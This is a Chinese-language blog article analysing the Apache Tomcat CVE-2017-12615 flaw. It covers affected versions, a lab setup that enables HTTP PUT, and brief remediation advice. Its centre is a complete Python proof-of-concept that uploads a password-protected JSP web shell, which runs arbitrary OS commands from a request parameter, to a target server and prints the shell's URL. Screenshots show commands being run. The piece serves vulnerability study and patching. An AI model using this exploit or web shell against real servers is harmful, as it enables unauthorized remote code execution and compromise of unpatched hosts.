Tomcat远程代码执行漏洞分析与利用

栏目: Java · 发布时间: 8年前

内容简介:Tomcat远程代码执行漏洞分析与利用

漏洞介绍

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616。

其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 – 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行,危害十分严重。

影响版本

Apache Tomcat 7.0.0 – 7.0.81

漏洞编号

CVE-2017-12615

漏洞利用前提

需Tomcat开启了HTTP PUT请求。

环境搭建

首先下载Tomcat,本文以7.0.81为例,一直点击下一步安装即可。

安装成功后,需要开启HTTP PUT,首先打开Tomcat安装目录,找到配置文件,如图:

Tomcat远程代码执行漏洞分析与利用

打开之后,寻找 readonly ,如图,他被禁用了,禁止PUT上传:

Tomcat远程代码执行漏洞分析与利用

我们在下放找到 org.apache.catalina.servlets.DefaultServlet 方法,并在其中添加如下命令:

<init-param> 
            <param-name>readonly</param-name> 
            <param-value>false</param-value> 
</init-param> 

如图:

Tomcat远程代码执行漏洞分析与利用

最后重启Tomcat即可。

漏洞利用

POC如下:

#! -*- coding:utf-8 -*- 
​
import httplib
​
import sys
​
import time
​
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
​
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
​
try:
​
    conn = httplib.HTTPConnection(sys.argv[1])
​
    conn.request(method='OPTIONS', url='/ffffzz')
​
    headers = dict(conn.getresponse().getheaders())
​
    if 'allow' in headers and \
​
       headers['allow'].find('PUT') > 0 :
​
        conn.close()
​
        conn = httplib.HTTPConnection(sys.argv[1])
​
        url = "/" + str(int(time.time()))+'.jsp/'
​
        #url = "/" + str(int(time.time()))+'.jsp::$DATA'
​
        conn.request( method='PUT', url= url, body=body)
​
        res = conn.getresponse()
​
        if res.status  == 201 :
​
            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]
​
            print 'shell:', 'http://' + sys.argv[1] + url[:-1]
​
        elif res.status == 204 :
​
            print 'file exists'
​
        else:
​
            print 'error'
​
        conn.close()
​
    else:
​
        print 'Server not vulnerable'
​
except Exception,e:
​
    print 'Error:', e

如图,使用 Python 执行POC后,会返回 Shell 地址。

Tomcat远程代码执行漏洞分析与利用

接下来直接访问POC,可以看到,成功访问。

Tomcat远程代码执行漏洞分析与利用 最后执行命令

Tomcat远程代码执行漏洞分析与利用

如图所示,成功执行

修复

1:开发人员应检测当前版本是否在影响范围内,并禁用PUT方法。

2:更新并升级至最新版。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Paradigms of Artificial Intelligence Programming

Paradigms of Artificial Intelligence Programming

Peter Norvig / Morgan Kaufmann / 1991-10-01 / USD 77.95

Paradigms of AI Programming is the first text to teach advanced Common Lisp techniques in the context of building major AI systems. By reconstructing authentic, complex AI programs using state-of-the-......一起来看看 《Paradigms of Artificial Intelligence Programming》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具